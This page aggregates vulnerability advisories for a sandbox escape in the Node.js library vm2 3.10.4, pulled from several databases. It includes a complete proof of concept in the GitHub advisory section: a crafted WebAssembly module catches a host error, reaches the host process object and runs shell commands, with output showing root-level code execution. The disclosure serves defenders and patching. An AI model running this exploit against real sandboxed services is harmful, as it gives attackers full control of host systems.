vm2: WASM Sandbox Escape (Node 25 only)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.

Source published

4 May 2026 16:37:31 UTC

Source modified

15 Jul 2026 01:14:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.

Source published

May 4, 2026, 4:37:31 PM (timezone not stated)

Source modified

Jul 15, 2026, 1:14:46 AM (timezone not stated)

Observed here

7 Nov 2026 06:28:54 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.

Source published

4 May 2026 17:16:22 UTC

Source modified

26 Oct 2026 19:10:00 UTC

Observed here

27 Oct 2026 07:23:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## Summary Full sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation. ## Details **Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux) **Trigger:** Attacker-controlled code passed to `VM.run()` **Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1) vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript. WebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution. ## PoC ```js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `); ``` ``` > node poc.js vm2: 3.10.4 | node: v25.6.1 process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` **Proof files** [poc.js](https://github.com/user-attachments/files/25285089/poc.js)

Source published

5 May 2026 16:44:16 UTC

Source modified

22 Jun 2026 05:15:07 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL